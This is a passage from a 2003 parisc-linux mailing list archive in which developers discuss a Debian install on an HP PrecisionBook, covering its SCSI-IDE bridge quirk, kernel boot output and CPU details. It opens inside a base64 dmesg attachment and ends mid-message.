MDAxLTA3LTA4KSB3aXRoIE1BTllfUE9SVFMgU0hBUkVfSVJRIFNFUklBTF9Q
Q0kgZW5hYmxlZA0KdHR5UzAwIGF0IGlvbWVtIDB4ZmZkMDU4MDAgKGlycSA9
IDkwKSBpcyBhIDE2NTUwQQ0KdHR5UzAxIGF0IGlvbWVtIDB4ZmZmODM4MDAg
KGlycSA9IDEwNikgaXMgYSAxNjU1MEENClBTLzIga2V5Ym9hcmQgcG9ydCBh
dCAweGZmZDA4MDAwIChpcnEgNjkpIGZvdW5kLCBkZXZpY2UgYXR0YWNoZWQu
DQpQUy8yIHBzYXV4IHBvcnQgYXQgMHhmZmQwODEwMCAoaXJxIDY5KSBmb3Vu
ZCwgZGV2aWNlIGF0dGFjaGVkLg0KR2VuZXJpYyBSVEMgRHJpdmVyIHYxLjA3
DQpGb3VuZCBpODI1OTYgYXQgMHhmZmQwNzAwMCwgSVJRIDg3DQpldGgwOiA4
MjU5NiBhdCAweGZmZDA3MDAwLCAwMCA2MCBCMCBDMCAwOCA1RSBJUlEgODcu
DQo4MjU5Ni5jICRSZXZpc2lvbjogMS4zMCAkDQpTQ1NJIHN1YnN5c3RlbSBk
cml2ZXIgUmV2aXNpb246IDEuMDANCjUzYzcwMDogVmVyc2lvbiAyLjggQnkg
SmFtZXMuQm90dG9tbGV5QEhhbnNlblBhcnRuZXJzaGlwLmNvbQ0Kc2NzaTA6
IDUzYzcxMCByZXYgMiANCnNjc2kwIDogTEFTSSBTQ1NJIDUzYzcwMA0KICBW
ZW5kb3I6IEFEVFggICAgICBNb2RlbDogQVhTSVRTMjUzMlIgMDE0QyAgUmV2
OiBUQzZPDQogIFR5cGU6ICAgRGlyZWN0LUFjY2VzcyAgICAgICAgICAgICAg
ICAgICAgICBBTlNJIFNDU0kgcmV2aXNpb246IDAyDQpBdHRhY2hlZCBzY3Np
IGRpc2sgc2RhIGF0IHNjc2kwLCBjaGFubmVsIDAsIGlkIDAsIGx1biAwDQpT
Q1NJIGRldmljZSBzZGE6IDgwMDc1NTIgNTEyLWJ5dGUgaGR3ciBzZWN0b3Jz
ICg0MTAwIE1CKQ0KUGFydGl0aW9uIGNoZWNrOg0KIHNkYTogc2RhMSBzZGEy
IHNkYTMNCkxhc2kgSGFybW9ueSBBdWRpbyBkcml2ZXIgVjAuOWEsIGgvdyBp
ZCAyMCwgcmV2LiAyNTUgYXQgMHhmZmQwNDAwMCwgSVJRIDgyDQptaWNlOiBQ
Uy8yIG1vdXNlIGRldmljZSBjb21tb24gZm9yIGFsbCBtaWNlDQpIUCBTREM6
IE5vIFNEQyBmb3VuZC4NCk5FVDQ6IExpbnV4IFRDUC9JUCAxLjAgZm9yIE5F
VDQuMA0KSVAgUHJvdG9jb2xzOiBJQ01QLCBVRFAsIFRDUCwgSUdNUA0KSVA6
IHJvdXRpbmcgY2FjaGUgaGFzaCB0YWJsZSBvZiAyMDQ4IGJ1Y2tldHMsIDE2
S2J5dGVzDQpUQ1A6IEhhc2ggdGFibGVzIGNvbmZpZ3VyZWQgKGVzdGFibGlz
aGVkIDE2Mzg0IGJpbmQgMzI3NjgpDQpMaW51eCBJUCBtdWx0aWNhc3Qgcm91
dGVyIDAuMDYgcGx1cyBQSU0tU00NCk5FVDQ6IEV0aGVybmV0IEJyaWRnZSAw
MDggZm9yIE5FVDQuMA0Ka2pvdXJuYWxkIHN0YXJ0aW5nLiAgQ29tbWl0IGlu
dGVydmFsIDUgc2Vjb25kcw0KRVhUMy1mczogbW91bnRlZCBmaWxlc3lzdGVt
IHdpdGggb3JkZXJlZCBkYXRhIG1vZGUuDQpWRlM6IE1vdW50ZWQgcm9vdCAo
ZXh0MyBmaWxlc3lzdGVtKSByZWFkb25seS4NCkZyZWVpbmcgdW51c2VkIGtl
cm5lbCBtZW1vcnk6IDIyMWsgZnJlZWQNCk5FVDQ6IFVuaXggZG9tYWluIHNv
Y2tldHMgMS4wL1NNUCBmb3IgTGludXggTkVUNC4wLg0KQWRkaW5nIFN3YXA6
IDQ5OTk4OGsgc3dhcC1zcGFjZSAocHJpb3JpdHkgLTEpDQpFWFQzIEZTIDIu
NC0wLjkuMTksIDE5IEF1Z3VzdCAyMDAyIG9uIHNkKDgsMyksIGludGVybmFs
IGpvdXJuYWwNCmlwX3RhYmxlczogKEMpIDIwMDAtMjAwMiBOZXRmaWx0ZXIg
Y29yZSB0ZWFtDQpldGgwOiBsaW5rIG9rLg0K
---275789367-1825776469-1050496871=:28370--


From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Presicionbook success
Date: Wed, 16 Apr 2003 15:13:33 +0200
Organization: ESIEE
Lines: 31
Approved: news@gmane.org
Message-ID: <20030416151333.72921928.varenet@esiee.fr>
References: <20030416122948.GM30643@parcelfarce.linux.theplanet.co.uk>
	<Pine.LNX.4.44.0304161331520.28370-300000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622389 24722 80.91.229.3 (22 Nov 2014 02:13:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:09 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 07:13:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e202.dhcp212-198-142.noos.fr [212.198.142.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EA944829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 07:13:56 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h3GDDYH8014873;
	Wed, 16 Apr 2003 15:13:36 +0200
In-Reply-To: <Pine.LNX.4.44.0304161331520.28370-300000@sal.ucc.ie>
X-Mailer: Sylpheed version 0.8.10claws13 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18267

On Wed, 16 Apr 2003 13:37:08 +0100 (IST)
"M. Grabert" <xam@cs.ucc.ie> wrote:

> On Wed, 16 Apr 2003, Matthew Wilcox wrote:
> 
> > On Wed, Apr 16, 2003 at 01:07:06PM +0100, M. Grabert wrote:
> > > I just wanted you to inform that I successfully installed
> > > Debian testing on my Presicionbook.
> >
> > Sweet!
> >
> > >   (The Presicionbook uses 2.5" IDE harddrives, obviously connected
> > >    to the CMD chip, but they automagically appear as SCSI drives on
> > >    LASI SCSI.)
> >
> > *blink*.  That's pretty weird.  Could you send the device listing that
> > dmesg produces, and the results of lspci?
> 
> Attached to this mail ;)
something went wrong. I've got some html code in the attache dmesg file.

Could you send it again, as well as cat /proc/cpuinfo and uname -a, so
that i can update our listing at pateam.esiee.fr ?

thx,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gavin Hubbard <ghub005@xtra.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Presicionbook success
Date: Thu, 17 Apr 2003 01:15:31 +1200
Lines: 31
Approved: news@gmane.org
Message-ID: <3.0.2.32.20030417011531.00a2bf20@pop3.xtra.co.nz>
References: <20030416123824.22413.48893.Mailman@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622390 24724 80.91.229.3 (22 Nov 2014 02:13:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 07:15:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta203-rme.xtra.co.nz (mta203-rme.xtra.co.nz [210.86.15.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 556FA4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 07:15:11 -0600 (MDT)
Original-Received: from mta1-rme.xtra.co.nz ([210.86.15.143])
          by mta203-rme.xtra.co.nz with ESMTP
          id <20030416131508.KGUY14069.mta203-rme.xtra.co.nz@mta1-rme.xtra.co.nz>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 17 Apr 2003 01:15:08 +1200
Original-Received: from peanut ([210.54.70.151]) by mta1-rme.xtra.co.nz with SMTP
          id <20030416131507.ELWM29186.mta1-rme.xtra.co.nz@peanut>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 17 Apr 2003 01:15:07 +1200
X-Sender: ghub005@pop3.xtra.co.nz
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32)
In-Reply-To: <20030416123824.22413.48893.Mailman@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18268

>On Wed, Apr 16, 2003 at 01:07:06PM +0100, M. Grabert wrote:
>> I just wanted you to inform that I successfully installed
>> Debian testing on my Presicionbook.
>
>Sweet!
>
>> - The precompiled kernel from the EISEE team may hang ...
>> 
>>   ... since it has support for the CMD PCI0643 IDE Busmaster chip,
>>   which is obviously used in the Presicionbook, but the driver
>>   doensn't/mustn't be used in Linux, since it causes confusion!
>>   So add "ide=nodma" or something similar to the kernel parameters
>>   (using the IPL) or simply recompile the kernel with no IDE support.
>> 
>>   (The Presicionbook uses 2.5" IDE harddrives, obviously connected
>>    to the CMD chip, but they automagically appear as SCSI drives on LASI
>>    SCSI.)
>
>*blink*.  That's pretty weird.  Could you send the device listing that
>dmesg produces, and the results of lspci?


Before anyone loses too much sleep over this, the Precisionbook has
internal SCSI-IDE bridges that sit between the HBA and the drives. I
believe a similar system was used in some of the earlier Apple Powerbooks.

Regards,

Gavin



From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Presicionbook success
Date: Wed, 16 Apr 2003 14:22:23 +0100 (IST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161417140.28370-100000@sal.ucc.ie>
References: <20030416151333.72921928.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622390 24726 80.91.229.3 (22 Nov 2014 02:13:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:10 +0000 (UTC)
Cc: willy@debian.org, <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 07:22:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80E454829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 07:22:35 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GDMO601525;
	Wed, 16 Apr 2003 14:22:24 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030416151333.72921928.varenet@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18269

On Wed, 16 Apr 2003, Thibaut VARENE wrote:

> something went wrong. I've got some html code in the attache dmesg file.
>
> Could you send it again, as well as cat /proc/cpuinfo and uname -a, so
> that i can update our listing at pateam.esiee.fr ?

Sorry, I know. I resent the dmesg to the list!


bucephaslas:~# more /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 1.1e
cpu             : PA7300LC (PCX-L2)
cpu MHz         : 160.000000
model           : 9000/778/B160L
model name      : Merlin L2 160 (9000/778/B160L)
hversion        : 0x00005020
sversion        : 0x00000481
I-cache         : 64 KB
D-cache         : 64 KB (WB)
ITLB entries    : 96
DTLB entries    : 96 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (8 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 106.49
software id     : 2015040524

bucephaslas:~# uname -a
Linux bucephaslas 2.4.20-pa32 #2 Wed Apr 16 11:03:26 IST 2003 parisc unknown unknown GNU/Linux


Actually it doesn't have a name yet (using the IP and the name of my
other laptop). Any suggestions?


Slan, Max



From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 14:27:10 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20030416132710.GO30643@parcelfarce.linux.theplanet.co.uk>
References: <20030416123824.22413.48893.Mailman@dsl2.external.hp.com> <3.0.2.32.20030417011531.00a2bf20@pop3.xtra.co.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622390 24730 80.91.229.3 (22 Nov 2014 02:13:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gavin Hubbard <ghub005@xtra.co.nz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 07:27:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CFE94829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 07:27:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 195mwQ-0006wg-QO; Wed, 16 Apr 2003 14:27:10 +0100
Content-Disposition: inline
In-Reply-To: <3.0.2.32.20030417011531.00a2bf20@pop3.xtra.co.nz>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18270

On Thu, Apr 17, 2003 at 01:15:31AM +1200, Gavin Hubbard wrote:
> Before anyone loses too much sleep over this, the Precisionbook has
> internal SCSI-IDE bridges that sit between the HBA and the drives. I
> believe a similar system was used in some of the earlier Apple Powerbooks.

Yep, someone pointed that out in an earlier email.  I'm just trying to
figure out how to handle this for the best.

1) Provide a pci quirk that deletes the IDE device from the bus
2) Hack the IDE driver to not claim that device if it's on a PrecisionBook
3) Ignore the scsi device and let the IDE driver drive the chips
4) Er.. something else.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 14:36:25 +0100 (IST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161432590.28370-100000@sal.ucc.ie>
References: <20030416132710.GO30643@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622391 24732 80.91.229.3 (22 Nov 2014 02:13:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:11 +0000 (UTC)
Cc: Gavin Hubbard <ghub005@xtra.co.nz>,
	<parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 07:36:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 500284829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 07:36:31 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GDaQ602059;
	Wed, 16 Apr 2003 14:36:26 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030416132710.GO30643@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18271

On Wed, 16 Apr 2003, Matthew Wilcox wrote:

> On Thu, Apr 17, 2003 at 01:15:31AM +1200, Gavin Hubbard wrote:
> > Before anyone loses too much sleep over this, the Precisionbook has
> > internal SCSI-IDE bridges that sit between the HBA and the drives. I
> > believe a similar system was used in some of the earlier Apple Powerbooks.
>
> Yep, someone pointed that out in an earlier email.  I'm just trying to
> figure out how to handle this for the best.
>
> 1) Provide a pci quirk that deletes the IDE device from the bus
> 2) Hack the IDE driver to not claim that device if it's on a PrecisionBook
> 3) Ignore the scsi device and let the IDE driver drive the chips
> 4) Er.. something else.

The initialization of the CMD PCI0643 IDE controller fails when using
the ESIEE kernel (which has support built-in for this chip).
Something like "failed to get IRQ, will probe later".

So no devices were found on the IDE bus, just on the LASI SCSI.
Probably it's the best just to use SCSI and not to use IDE support at all ...

greetings, max



From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 14:44:33 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20030416134433.GP30643@parcelfarce.linux.theplanet.co.uk>
References: <20030416132710.GO30643@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.44.0304161432590.28370-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622391 24734 80.91.229.3 (22 Nov 2014 02:13:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:11 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Gavin Hubbard <ghub005@xtra.co.nz>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 07:44:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06B2F4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 07:44:37 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 195nDF-0007Qx-KN; Wed, 16 Apr 2003 14:44:33 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0304161432590.28370-100000@sal.ucc.ie>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18272

On Wed, Apr 16, 2003 at 02:36:25PM +0100, M. Grabert wrote:
> On Wed, 16 Apr 2003, Matthew Wilcox wrote:
> 
> > On Thu, Apr 17, 2003 at 01:15:31AM +1200, Gavin Hubbard wrote:
> > > Before anyone loses too much sleep over this, the Precisionbook has
> > > internal SCSI-IDE bridges that sit between the HBA and the drives. I
> > > believe a similar system was used in some of the earlier Apple Powerbooks.
> >
> > Yep, someone pointed that out in an earlier email.  I'm just trying to
> > figure out how to handle this for the best.
> >
> > 1) Provide a pci quirk that deletes the IDE device from the bus
> > 2) Hack the IDE driver to not claim that device if it's on a PrecisionBook
> > 3) Ignore the scsi device and let the IDE driver drive the chips
> > 4) Er.. something else.
> 
> The initialization of the CMD PCI0643 IDE controller fails when using
> the ESIEE kernel (which has support built-in for this chip).
> Something like "failed to get IRQ, will probe later".

Oh, I thought you said the kernel hung when probing with this driver.
If it just whines about being unable to do anything, that's no problem.

> So no devices were found on the IDE bus, just on the LASI SCSI.
> Probably it's the best just to use SCSI and not to use IDE support at all ...

*nod*.  It might be fun for someone to play with fixing the IDE driver,
but I don't think that's necessary.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 14:48:35 +0100 (IST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161445420.28370-100000@sal.ucc.ie>
References: <20030416134433.GP30643@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622391 24737 80.91.229.3 (22 Nov 2014 02:13:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:11 +0000 (UTC)
Cc: Gavin Hubbard <ghub005@xtra.co.nz>,
	<parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 07:48:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7468D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 07:48:40 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GDma602458;
	Wed, 16 Apr 2003 14:48:36 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030416134433.GP30643@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18273

On Wed, 16 Apr 2003, Matthew Wilcox wrote:

> Date: Wed, 16 Apr 2003 14:44:33 +0100
